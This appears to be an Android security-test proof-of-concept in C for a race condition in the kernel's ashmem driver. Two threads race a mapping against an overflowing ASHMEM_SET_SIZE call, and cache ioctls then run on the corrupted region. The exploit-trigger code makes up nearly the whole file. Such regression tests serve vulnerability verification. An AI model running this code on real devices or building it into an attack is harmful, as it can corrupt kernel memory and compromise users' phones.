1 /**
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #define _GNU_SOURCE
18 #include <errno.h>
19 #include <fcntl.h>
20 #include <linux/ashmem.h>
21 #include <pthread.h>
22 #include <sched.h>
23 #include <stdio.h>
24 #include <stdlib.h>
25 #include <string.h>
26 #include <sys/mman.h>
27 #include <sys/socket.h>
28 #include <sys/stat.h>
29 #include <sys/time.h>
30 #include <sys/types.h>
31 #include <sys/wait.h>
32 #include <unistd.h>
33 #include "local_poc.h"
34
35 #define ASHMEM_CACHE_CLEAN_RANGE _IO(__ASHMEMIOC, 12)
36 #define ASHMEM_CACHE_FLUSH_RANGE _IO(__ASHMEMIOC, 11)
37 #define ASHMEM_CACHE_INV_RANGE _IO(__ASHMEMIOC, 13)
38
39 int fd;
40 void *addr;
41 pthread_barrier_t barr;
42
43 int thread_mmap_status = 0;
44 int thread_set_size_status = 0;
45
46 void *thread_mmap(void *);
47 void *thread_set_size(void *);
48
49 #define ORI_SIZE 4096 * 10
50
51 #define OVERFLOW_SIZE 0xFFFFFFFFFFFFFFFF - ORI_SIZE
52
main(int argc,char ** argv)53 int main(int argc, char **argv) {
54 int ret;
55 int i;
56 pthread_t tid[2];
57 struct stat st;
58 const char *name = "_crash";
59 struct ashmem_pin pin;
60 char *buf;
61 int size;
62 void *map_again;
63 void *map_buf[100];
64 pid_t pid;
65
66 for (i = 0; i < 10; i++) {
67 map_buf[i] =
68 mmap(NULL, 4096 * 100, PROT_READ | PROT_WRITE,
69 MAP_PRIVATE | MAP_ANONYMOUS | MAP_ANON | MAP_GROWSDOWN, -1, 0);
70 memset((char *)map_buf[i], 0x0, 4096 * 99);
71 }
72
73 while (1) {
74 pthread_barrier_init(&barr, NULL, 2);
75 thread_mmap_status = 0;
76 thread_set_size_status = 0;
77
78 fd = open("/dev/ashmem", O_RDWR);
79 if (fd < 0) {
80 return 0;
81 }
82
83 ret = ioctl(fd, ASHMEM_SET_SIZE, ORI_SIZE);
84 if (ret < 0) {
85 if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
86 close(fd);
87 continue;
88 }
89
90 ret = pthread_create(&tid[0], NULL, thread_mmap, NULL);
91 if (ret != 0) {
92 if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
93 close(fd);
94 return -1;
95 }
96
97 ret = pthread_create(&tid[1], NULL, thread_set_size, NULL);
98 if (ret != 0) {
99 if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
100 close(fd);
101 return -1;
102 }
103
104 pthread_join(tid[0], NULL);
105 pthread_join(tid[1], NULL);
106
107 errno = 0;
108 size = ioctl(fd, ASHMEM_GET_SIZE, 0);
109 if (size == (unsigned int)OVERFLOW_SIZE && addr != MAP_FAILED) break;
110 }
111
112 map_again = mmap(NULL, ORI_SIZE, PROT_READ | PROT_WRITE,
113 MAP_SHARED | MAP_NORESERVE, fd, 0);
114
115 munmap(addr, ORI_SIZE);
116
117 for (i = 0; i < 10; i++) {
118 munmap(map_buf[i], 4096 * 100);
119 }
120
121 pid = fork();
122 if (pid == 0) {
123 for (i = 0; i < 1000; i++)
124 mmap(NULL, 4096 * 100, PROT_READ | PROT_WRITE,
125 MAP_PRIVATE | MAP_ANONYMOUS | MAP_ANON | MAP_GROWSDOWN, -1, 0);
126 memset((char *)map_buf[i], 0x0, 4096 * 99);
127
128 return 0;
129 }
130 sleep(4);
131
132 ret = ioctl(fd, ASHMEM_CACHE_CLEAN_RANGE, 0);
133
134 ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, 0);
135 ret = ioctl(fd, ASHMEM_CACHE_INV_RANGE, 0);
136 munmap(map_again, ORI_SIZE);
137 close(fd);
138
139 return 0;
140 }
141
thread_mmap(void * arg)142 void *thread_mmap(void *arg) {
143 pthread_barrier_wait(&barr);
144 addr = mmap(NULL, ORI_SIZE, PROT_READ | PROT_WRITE,
145 MAP_SHARED | MAP_NORESERVE, fd, 0);
146
147 return NULL;
148 }
149
thread_set_size(void * arg)150 void *thread_set_size(void *arg) {
151 pthread_barrier_wait(&barr);
152 ioctl(fd, ASHMEM_SET_SIZE, OVERFLOW_SIZE);
153
154 return NULL;
155 }
156